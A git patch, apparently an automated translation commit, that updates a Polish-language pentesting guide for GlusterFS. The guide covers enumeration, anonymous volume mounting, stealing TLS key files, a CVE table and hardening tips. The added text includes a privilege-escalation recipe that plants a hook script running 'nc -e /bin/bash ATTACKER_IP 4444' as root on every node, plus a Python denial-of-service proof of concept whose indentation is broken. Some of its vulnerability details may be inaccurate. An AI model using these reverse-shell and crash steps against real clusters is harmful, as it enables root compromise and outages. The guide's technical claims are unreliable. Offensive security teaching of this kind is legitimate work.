From 6275d7efb97f42d203fab363ad1e654ffaf79d64 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 16:30:01 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen --- ...-24008-24009-49152-pentesting-glusterfs.md | 124 ++++++++++++++---- 1 file changed, 102 insertions(+), 22 deletions(-) diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index f86dde6a6..08c24ca7f 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -1,35 +1,115 @@ +# 24007-24008-24009-49152 - Pentesting GlusterFS + {{#include ../banners/hacktricks-training.md}} -# Podstawowe informacje +## Podstawowe informacje -**GlusterFS** to **rozproszony system plików**, który łączy pamięć z wielu serwerów w jeden **zunifikowany system**. Umożliwia **dowolną skalowalność**, co oznacza, że można łatwo dodawać lub usuwać serwery pamięci bez zakłócania ogólnego systemu plików. Zapewnia to wysoką **dostępność** i **tolerancję na błędy** dla Twoich danych. Dzięki GlusterFS możesz uzyskać dostęp do swoich plików tak, jakby były przechowywane lokalnie, niezależnie od podstawowej infrastruktury serwerowej. Oferuje potężne i elastyczne rozwiązanie do zarządzania dużymi ilościami danych na wielu serwerach. +**GlusterFS** to **rozproszony system plików**, który łączy pamięć masową z wielu serwerów w jeden **zunifikowany przestrzeń nazw**. Demon zarządzający (`glusterd`) nasłuchuje domyślnie na **24007/TCP** i instruuje bloki danych, które zaczynają się na **49152/TCP** (jeden port na blok, inkrementacja). Wersje przed 9.x używały **24008–24009/TCP** do transportu bloków, więc nadal napotkasz te porty w starszych klastrach. +``` +PORT STATE SERVICE VERSION +24007/tcp open glusterd GlusterFS (RPC) +49152/tcp open gluster-brick SSL (TLS optional) +``` +> Wskazówka: 24007 odpowiada na wywołania RPC, nawet gdy węzły tylko do przechowywania **nie** eksportują żadnej objętości; dlatego usługa jest niezawodnym celem do ataków w dużych infrastrukturach. -**Domyślne porty**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (i wyższe)\ -Dla portu 49152, porty zwiększone o 1 muszą być otwarte, aby używać więcej bricków. _Wcześniej używano portu 24009 zamiast 49152._ -``` -PORT STATE SERVICE -24007/tcp open rpcbind -49152/tcp open ssl/unknown -``` ## Enumeracja -Aby interagować z tym systemem plików, musisz zainstalować [**klient GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`). - -Aby wylistować i zamontować dostępne wolumeny, możesz użyć: +Zainstaluj narzędzia klienckie na swoim atakującym systemie: ```bash -sudo gluster --remote-host=10.10.11.131 volume list -# This will return the name of the volumes - -sudo mount -t glusterfs 10.10.11.131:/ /mnt/ +sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu ``` -Jeśli otrzymasz **błąd podczas próby zamontowania systemu plików**, możesz sprawdzić logi w `/var/log/glusterfs/` +1. **Odkrywanie peerów i zdrowie** +```bash +# List peers (works without authentication in default setups) +gluster --remote-host 10.10.11.131 peer status +``` +2. **Rozpoznanie wolumenu** +```bash +# Retrieve the list of all volumes and their configuration +gluster --remote-host 10.10.11.131 volume info all +``` +3. **Montowanie bez uprawnień** +```bash +sudo mount -t glusterfs 10.10.11.131:/ /mnt/gluster +``` +Jeśli montowanie nie powiedzie się, sprawdź `/var/log/glusterfs/-.log` po stronie klienta. Typowe problemy to: -**Błędy dotyczące certyfikatów** można naprawić, kradnąc pliki (jeśli masz dostęp do systemu): +* Wymuszenie TLS (`option transport.socket.ssl on`) +* Kontrola dostępu oparta na adresach (`option auth.allow `) -- /etc/ssl/glusterfs.ca -- /etc/ssl/glusterfs.key -- /etc/ssl/glusterfs.ca.pem +### Rozwiązywanie problemów z certyfikatami -I przechowując je w swoim katalogu `/etc/ssl` lub `/usr/lib/ssl` (jeśli używany jest inny katalog, sprawdź linie podobne do: "_nie można załadować naszego certyfikatu w /usr/lib/ssl/glusterfs.pem_" w logach). +Skradnij następujące pliki z dowolnego autoryzowanego węzła klienckiego i umieść je w `/etc/ssl/` (lub w katalogu pokazanym w dzienniku błędów): +``` +/etc/ssl/glusterfs.pem +/etc/ssl/glusterfs.key +/etc/ssl/glusterfs.ca +``` +--- +## Znane luki (2022-2025) + +| CVE | Wersje dotknięte | Wpływ | Uwagi | +|-----|-------------------|--------|-------| +| **CVE-2022-48340** | 10.0–10.4, 11.0 | Use-after-free w `dht_setxattr_mds_cbk` dostępne przez sieć | Zdalny **DoS** i prawdopodobne RCE. Naprawione w 10.4.1 / 11.1. | +| **CVE-2023-26253** | < 11.0 | Odczyt poza zakresem w obsłudze powiadomień FUSE | Zdalny awaria przez spreparowane operacje FS; publiczny PoC dostępny. | +| **CVE-2023-3775** | < 10.5 / 11.1 | Nieprawidłowa walidacja uprawnień podczas montowania `gluster_shared_storage` | Pozwala każdemu nieautoryzowanemu klientowi zamontować wolumin administratora – prowadzi do **priv-esc** wyjaśnionego poniżej. | + +> Zawsze sprawdzaj `gluster --version` **na każdym węźle**; heterogeniczne klastry są powszechne po częściowych aktualizacjach. + +### Wykorzystywanie `gluster_shared_storage` (Escalacja uprawnień) + +Nawet w najnowszych wersjach wielu administratorów pozostawia specjalny wolumin `gluster_shared_storage` dostępnym do odczytu dla wszystkich, ponieważ upraszcza to geo-replikację. Wolumin zawiera szablony zadań cron, które są uruchamiane z **root** na każdym węźle. +```bash +# 1. Mount admin volume anonymously +mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss + +# 2. Drop malicious script that gets synchronised cluster-wide +cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh +#!/bin/bash +nc -e /bin/bash ATTACKER_IP 4444 & +EOF +chmod +x /tmp/gss/hooks/1/start/post/test.sh + +# 3. Wait until glusterd distributes the hook and executes it as root +``` +Jeśli `hooks/1/` nie jest obecny, poszukaj `/ss_bricks/` – dokładna ścieżka może się różnić w zależności od głównej wersji. + +### Denial-of-Service PoC (CVE-2023-26253) +```python +#!/usr/bin/env python3 +# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007 +import socket, xdrlib, struct +p = xdrlib.Packer(); p.pack_uint(0xdeadbeef) +with socket.create_connection(("10.10.11.131",24007)) as s: +s.send(struct.pack("!L", len(p.get_buffer())|0x80000000)) +s.send(p.get_buffer()) +``` +Uruchomienie skryptu powoduje awarię `glusterfsd` < 11.0. + +--- + +## Wzmacnianie i wykrywanie + +* **Aktualizacja** – obecna wersja LTS to 11.1 (lipiec 2025). Wszystkie CVE powyżej zostały naprawione. +* Włącz **TLS** dla każdego bricka: + +```bash +gluster volume set transport.socket.ssl on +gluster volume set transport.socket.ssl-cert /etc/ssl/glusterfs.pem +``` +* Ogranicz klientów za pomocą list CIDR: + +```bash +gluster volume set auth.allow 10.0.0.0/24 +``` +* Udostępnij port zarządzania 24007 tylko na **prywatnym VLAN** lub przez tunel SSH. +* Obserwuj logi: `tail -f /var/log/glusterfs/glusterd.log` i skonfiguruj funkcję **audit-log** (`volume set features.audit-log on`). + +--- + +## Odniesienia + +* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security) +* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash) {{#include ../banners/hacktricks-training.md}}